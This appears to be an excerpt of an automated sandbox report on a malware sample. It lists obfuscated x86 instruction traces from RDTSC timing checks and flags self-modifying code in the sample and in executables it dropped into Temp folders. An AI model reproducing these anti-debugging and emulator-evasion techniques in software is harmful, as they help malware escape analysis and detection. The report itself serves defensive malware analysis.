jmp 00007F6849049237h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1091F second address: 4F109AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B769h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F684908B75Ch 0x00000010 push eax 0x00000011 pop edx 0x00000012 pop ecx 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop edi 0x00000016 pop ecx 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F684908B762h 0x00000020 add esi, 5B42D2E8h 0x00000026 jmp 00007F684908B75Bh 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007F684908B768h 0x00000032 or esi, 7701E548h 0x00000038 jmp 00007F684908B75Bh 0x0000003d popfd 0x0000003e popad 0x0000003f xchg eax, ebp 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F109AC second address: 4F109B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F109B0 second address: 4F109CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B767h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC002C second address: 4EC0031 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0031 second address: 4EC00AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F684908B765h 0x0000000a and ch, 00000076h 0x0000000d jmp 00007F684908B761h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 jmp 00007F684908B761h 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e call 00007F684908B75Ch 0x00000023 mov bx, si 0x00000026 pop eax 0x00000027 push eax 0x00000028 push edx 0x00000029 pushfd 0x0000002a jmp 00007F684908B75Dh 0x0000002f and ch, 00000036h 0x00000032 jmp 00007F684908B761h 0x00000037 popfd 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC00AC second address: 4EC00DB instructions: 0x00000000 rdtsc 0x00000002 mov ax, 0B27h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov ebp, esp 0x0000000b jmp 00007F684904922Ah 0x00000010 and esp, FFFFFFF8h 0x00000013 jmp 00007F6849049230h 0x00000018 xchg eax, ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC00DB second address: 4EC00DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC00DF second address: 4EC00E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC00E5 second address: 4EC00EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 6691h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC00EE second address: 4EC0113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F684904922Dh 0x0000000d xchg eax, ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F684904922Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0113 second address: 4EC0123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F684908B75Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0123 second address: 4EC01B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d movzx esi, di 0x00000010 pushfd 0x00000011 jmp 00007F6849049231h 0x00000016 and ecx, 2D2B9F66h 0x0000001c jmp 00007F6849049231h 0x00000021 popfd 0x00000022 popad 0x00000023 push eax 0x00000024 jmp 00007F6849049231h 0x00000029 xchg eax, ebx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F6849049233h 0x00000033 sub cx, 774Eh 0x00000038 jmp 00007F6849049239h 0x0000003d popfd 0x0000003e mov dx, si 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC01B1 second address: 4EC01E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+10h] 0x0000000b jmp 00007F684908B760h 0x00000010 xchg eax, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F684908B767h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC01E6 second address: 4EC01EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC01EC second address: 4EC01F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC01F0 second address: 4EC0207 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov dl, B0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0207 second address: 4EC02D6 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 6A15E75Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ah, 9Ch 0x0000000b popad 0x0000000c xchg eax, esi 0x0000000d jmp 00007F684908B765h 0x00000012 mov esi, dword ptr [ebp+08h] 0x00000015 jmp 00007F684908B75Eh 0x0000001a xchg eax, edi 0x0000001b pushad 0x0000001c jmp 00007F684908B75Dh 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007F684908B761h 0x00000028 xchg eax, edi 0x00000029 pushad 0x0000002a mov ax, 7D53h 0x0000002e mov ecx, 66619BAFh 0x00000033 popad 0x00000034 test esi, esi 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007F684908B760h 0x0000003d sbb eax, 58D58AD8h 0x00000043 jmp 00007F684908B75Bh 0x00000048 popfd 0x00000049 pushfd 0x0000004a jmp 00007F684908B768h 0x0000004f sub si, 5538h 0x00000054 jmp 00007F684908B75Bh 0x00000059 popfd 0x0000005a popad 0x0000005b je 00007F68BB0F9AB2h 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F684908B765h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02D6 second address: 4EC02DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02DD second address: 4EC02F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02F1 second address: 4EC02F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02F5 second address: 4EC02FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02FB second address: 4EC0366 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6849049239h 0x00000009 sub ecx, 1C1DEFE6h 0x0000000f jmp 00007F6849049231h 0x00000014 popfd 0x00000015 mov ah, EAh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a je 00007F68BB0B751Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F6849049234h 0x00000029 or eax, 4C555EB8h 0x0000002f jmp 00007F684904922Bh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0366 second address: 4EC039D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B765h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [esi+44h] 0x0000000c jmp 00007F684908B75Eh 0x00000011 or edx, dword ptr [ebp+0Ch] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov dx, 0860h 0x0000001b mov al, bh 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC039D second address: 4EC03FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edx, 61000000h 0x0000000f jmp 00007F6849049236h 0x00000014 jne 00007F68BB0B74E6h 0x0000001a jmp 00007F6849049230h 0x0000001f test byte ptr [esi+48h], 00000001h 0x00000023 jmp 00007F6849049230h 0x00000028 jne 00007F68BB0B74D5h 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03FD second address: 4EC0405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, bx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0405 second address: 4EC040C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, al 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC040C second address: 4EC042E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test bl, 00000007h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F684908B766h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB084C second address: 4EB08AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049238h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F684904922Eh 0x00000013 sub eax, 5C97F5A8h 0x00000019 jmp 00007F684904922Bh 0x0000001e popfd 0x0000001f jmp 00007F6849049238h 0x00000024 popad 0x00000025 and esp, FFFFFFF8h 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB08AD second address: 4EB0929 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F684908B762h 0x00000009 sub esi, 398F8A68h 0x0000000f jmp 00007F684908B75Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F684908B768h 0x0000001b xor ch, FFFFFFC8h 0x0000001e jmp 00007F684908B75Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 xchg eax, ebx 0x00000028 jmp 00007F684908B766h 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F684908B75Dh 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0929 second address: 4EB093E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049231h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB093E second address: 4EB09AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B761h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F684908B75Eh 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 mov cl, F5h 0x00000013 mov dx, 2E7Eh 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F684908B761h 0x00000022 adc ecx, 3E247A06h 0x00000028 jmp 00007F684908B761h 0x0000002d popfd 0x0000002e call 00007F684908B760h 0x00000033 pop eax 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB09AB second address: 4EB09C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6849049237h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB09C6 second address: 4EB09CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB09CA second address: 4EB09E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6849049230h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB09E5 second address: 4EB0A8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F684908B767h 0x0000000b or esi, 7A89A3FEh 0x00000011 jmp 00007F684908B769h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov esi, dword ptr [ebp+08h] 0x0000001d pushad 0x0000001e mov esi, 1A71A9E3h 0x00000023 popad 0x00000024 sub ebx, ebx 0x00000026 jmp 00007F684908B75Bh 0x0000002b test esi, esi 0x0000002d jmp 00007F684908B766h 0x00000032 je 00007F68BB101090h 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b movsx ebx, ax 0x0000003e pushfd 0x0000003f jmp 00007F684908B766h 0x00000044 jmp 00007F684908B765h 0x00000049 popfd 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0A8E second address: 4EB0AB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049231h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0AB0 second address: 4EB0AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0AB4 second address: 4EB0AB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0AB8 second address: 4EB0ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0ABE second address: 4EB0AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6849049231h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0C00 second address: 4EB0C3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F684908B767h 0x00000009 xor cx, 5F3Eh 0x0000000e jmp 00007F684908B769h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0C3C second address: 4EB0C87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push dword ptr [ebp+14h] 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F684904922Ah 0x00000011 xor si, 1C38h 0x00000016 jmp 00007F684904922Bh 0x0000001b popfd 0x0000001c push esi 0x0000001d push ebx 0x0000001e pop esi 0x0000001f pop edx 0x00000020 popad 0x00000021 push dword ptr [ebp+10h] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F6849049238h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0C87 second address: 4EB0C96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B75Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0C96 second address: 4EB0C9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0CC1 second address: 4EC0CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F684908B764h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0CD9 second address: 4EC0D12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov esi, 52A5DB4Bh 0x00000012 mov esi, 78F4E127h 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F6849049238h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0D12 second address: 4EC0D24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F684908B75Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0D24 second address: 4EC0D28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0D28 second address: 4EC0D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0D37 second address: 4EC0D3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0D3B second address: 4EC0D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0D41 second address: 4EC0D69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6849049235h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0D69 second address: 4EC0D6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0A34 second address: 4EC0A6D instructions: 0x00000000 rdtsc 0x00000002 mov cx, A79Bh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov si, 6F13h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushfd 0x00000012 jmp 00007F6849049236h 0x00000017 and ax, 4198h 0x0000001c jmp 00007F684904922Bh 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0A6D second address: 4EC0AE3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F684908B768h 0x00000008 jmp 00007F684908B765h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F684908B761h 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F684908B75Eh 0x0000001d mov ebp, esp 0x0000001f jmp 00007F684908B760h 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F684908B75Ah 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0AE3 second address: 4EC0AE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0AE9 second address: 4EC0AEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F40723 second address: 4F407B7 instructions: 0x00000000 rdtsc 0x00000002 mov si, 9B9Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F6849049234h 0x0000000d popad 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F6849049230h 0x00000014 push eax 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F6849049231h 0x0000001c and si, 6E26h 0x00000021 jmp 00007F6849049231h 0x00000026 popfd 0x00000027 mov di, cx 0x0000002a popad 0x0000002b xchg eax, ebp 0x0000002c pushad 0x0000002d mov esi, 7A71FE4Fh 0x00000032 jmp 00007F6849049234h 0x00000037 popad 0x00000038 mov ebp, esp 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F6849049237h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F407B7 second address: 4F407BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F407BD second address: 4F407C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F407C1 second address: 4F407C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F407C5 second address: 4F40806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ecx 0x0000000d pushfd 0x0000000e jmp 00007F684904922Fh 0x00000013 xor ax, AC1Eh 0x00000018 jmp 00007F6849049239h 0x0000001d popfd 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 mov bh, ch 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F30A32 second address: 4F30A5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 pushad 0x00000008 pushad 0x00000009 mov dh, E2h 0x0000000b push ecx 0x0000000c pop edi 0x0000000d popad 0x0000000e pushad 0x0000000f mov al, DCh 0x00000011 mov cl, bh 0x00000013 popad 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F684908B75Fh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F30A5A second address: 4F30A87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049239h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F684904922Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F30A87 second address: 4F30AA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F684908B767h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F3085C second address: 4F3086D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov cx, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F3086D second address: 4F3087E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F684908B75Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0020 second address: 4ED002F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F684904922Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED002F second address: 4ED0033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F30CBC second address: 4F30CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 84ECFB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 84EC24 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A179C3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 84EC51 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BDECFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BDEC24 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DA79C3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BDEC51 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Special instruction interceptor: First address: 33A455 instructions caused by: Self-modifying code
